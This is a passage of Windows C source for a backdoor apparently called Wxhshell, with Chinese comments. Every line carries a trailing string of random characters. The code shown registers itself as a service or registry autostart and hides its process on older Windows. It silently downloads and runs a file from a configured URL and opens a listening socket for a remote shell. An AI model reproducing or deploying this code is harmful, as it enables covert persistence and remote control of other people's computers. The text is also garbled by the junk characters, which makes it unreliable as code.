ULONG UniqueProcessId; 1y:-N6
ULONG InheritedFromUniqueProcessId; CT&|QH{
} PROCESS_BASIC_INFORMATION; Pd8![Z3
=7?4eYHC
PROCNTQSIP NtQueryInformationProcess; -{("mR&]
]a>n:p]e
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jVEGj5F;N
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N"Z{5A
,<.V7(|t)
HANDLE hProcess; &j;wCvE4+
PROCESS_BASIC_INFORMATION pbi; 9[#pIPxNK
<;lkUU(WT2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )7hqJa-V
if(NULL == hInst ) return 0; VMZMG$C
&w\{TZ{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lw1Yvtn
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <3nMx^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8C40%q..
jVi) Efy
if (!NtQueryInformationProcess) return 0; EAUEQk?9
X;$+,&M"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j/DzCc p7
if(!hProcess) return 0; F~-(:7j
juJklSD
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7^avpf)>
a
.#)G[*
CloseHandle(hProcess); Zpt\p7WQ
!t"4!3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dm981t>wL
if(hProcess==NULL) return 0; YP oSRA L
#mxPw
HMODULE hMod; g>%o #P7
char procName[255]; -OV&Md:~
unsigned long cbNeeded; G/E+L-N#`
}J}-//[A
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l$KA)xbI
Da*?x8sSL
CloseHandle(hProcess); hPB9@hT$
+Ze}B*0
if(strstr(procName,"services")) return 1; // 以服务启动 M-VX;/&FR
G[ PtkPSJ
return 0; // 注册表启动 SO/c}vnBB
} 'ms-*c&
!)f\%lb
// 主模块 "S[450%
int StartWxhshell(LPSTR lpCmdLine) 7sCG^&Y
{ i}f"yO+Q+
SOCKET wsl; B`)BZ,#p
BOOL val=TRUE; bIDj[-CDG
int port=0; NWESP U):w
struct sockaddr_in door; zaIKdI'/e
c^xIm'eob
if(wscfg.ws_autoins) Install(); h8q[1"a:
|l^uEtG
port=atoi(lpCmdLine); RMV/&85?y
v4TQX<0s
if(port<=0) port=wscfg.ws_port; C}j"Qi`
l'rja.\
WSADATA data; UW={[h{.|@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U+jOTq8 M
`,(4]tlL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Pbn*_/H
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /{J4:N'B>
door.sin_family = AF_INET; z|J_b"u4
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,2oWWsC7
door.sin_port = htons(port); }0*@fO
df +l%9@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oSKXt}sh
closesocket(wsl); _yx>TE2e
return 1; $99n&t$Y
} }"H,h)T
Wis~$"
if(listen(wsl,2) == INVALID_SOCKET) { xIW3={b 3
closesocket(wsl); sE<V5`Z=
return 1; BwEN~2u6
} u~:y\/Y6
Wxhshell(wsl); s\(k<Ks
WSACleanup(); h2A <" w
pU}(@oy
return 0; K7B/s9/xs
?!:ha;n
} +o{R _
DPxM'7
// 以NT服务方式启动 O63<AY@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jOunWv|
{ I_#kgp
DWORD status = 0; ZU4nc3__
DWORD specificError = 0xfffffff; mDABH@R
M)+H{5bt
serviceStatus.dwServiceType = SERVICE_WIN32; 9&2O9Nz6
serviceStatus.dwCurrentState = SERVICE_START_PENDING; [!uG1 GJ>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0S_~ \t
serviceStatus.dwWin32ExitCode = 0; gCS<iBT(7
serviceStatus.dwServiceSpecificExitCode = 0; uBKgcpvTs
serviceStatus.dwCheckPoint = 0; 2;`1h[,-^
serviceStatus.dwWaitHint = 0; dq6m>;`
$9#H04.x
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x /S}Q8!"}
if (hServiceStatusHandle==0) return; c|y(2K)o[=
<c-=3}=U\
status = GetLastError(); G6P?2@
if (status!=NO_ERROR) .V/Rfq
{ ^ogt+6c
serviceStatus.dwCurrentState = SERVICE_STOPPED; Gr'
CtO
serviceStatus.dwCheckPoint = 0; jXx<`I+]
serviceStatus.dwWaitHint = 0; @f~RdO3
serviceStatus.dwWin32ExitCode = status; 8 +/rlHp
serviceStatus.dwServiceSpecificExitCode = specificError; 6r0krbN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K(rWNO
return; TDKki(o=~
} Tbih+#?
}O5i/#.lR
serviceStatus.dwCurrentState = SERVICE_RUNNING; (,Q7@s
serviceStatus.dwCheckPoint = 0; d#Y^>"|$.
serviceStatus.dwWaitHint = 0; . B9iLI
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jb@V}Ul$
} %QGC8Tz
,j{,h_Op
// 处理NT服务事件,比如:启动、停止 gQg"j)
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dlae;5D
{ )h4f\0
switch(fdwControl) ,/%=sux
{ Su7?;Oh/yI
case SERVICE_CONTROL_STOP: ~O0 $Suv
serviceStatus.dwWin32ExitCode = 0; L|:`^M+^w
serviceStatus.dwCurrentState = SERVICE_STOPPED; ZRB)uA)5=
serviceStatus.dwCheckPoint = 0; Q5`*3h6p=
serviceStatus.dwWaitHint = 0; *boR`[Ond
{ C*_C;6.~Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); gMmaK0uhS
} VcO0sa f`
return; -q1??u
case SERVICE_CONTROL_PAUSE: k 8[n+^
serviceStatus.dwCurrentState = SERVICE_PAUSED; '&tG?gb&
break; 2B[X,rL.pX
case SERVICE_CONTROL_CONTINUE: I<mV+ex
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3g,`.I_
break; 2j88<Yh]H
case SERVICE_CONTROL_INTERROGATE: jh%Eq+#S
break; z6=Z\P+
}; gnOt+W8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8,4"uuI
} >}8j+t&T
QL&ZjSN
// 标准应用程序主函数 36Zf^cFJ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uM IIYS
{ dO<ERY
IqaT?+O\?r
// 获取操作系统版本 4i azNl#
OsIsNt=GetOsVer(); XkE`U5.
GetModuleFileName(NULL,ExeFile,MAX_PATH); F3@phu${
$oID(P
// 从命令行安装 .+3g*Dv{&
if(strpbrk(lpCmdLine,"iI")) Install(); q]ku5A\y
+US!YU
// 下载执行文件 3tIVXtUCUk
if(wscfg.ws_downexe) { 9}!qR|l3nR
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mZS
>O_E
WinExec(wscfg.ws_filenam,SW_HIDE); :841qCW
} nLZTK&7}
mP~QWx![N
if(!OsIsNt) { rxvx
// 如果时win9x,隐藏进程并且设置为注册表启动 >=I|xY,
HideProc(); 2>xF){`
StartWxhshell(lpCmdLine); dk#k bG;
} &ZlVWK~v
else 3</_c1~
if(StartFromService()) SuJ aL-;
// 以服务方式启动 *e TqVG.
StartServiceCtrlDispatcher(DispatchTable); }_M~2L?i
else P6'1.R
// 普通方式启动 YW,tCtI0_
StartWxhshell(lpCmdLine); PB\(=
1y@i}<9F
return 0; Xv5wJlc!d
}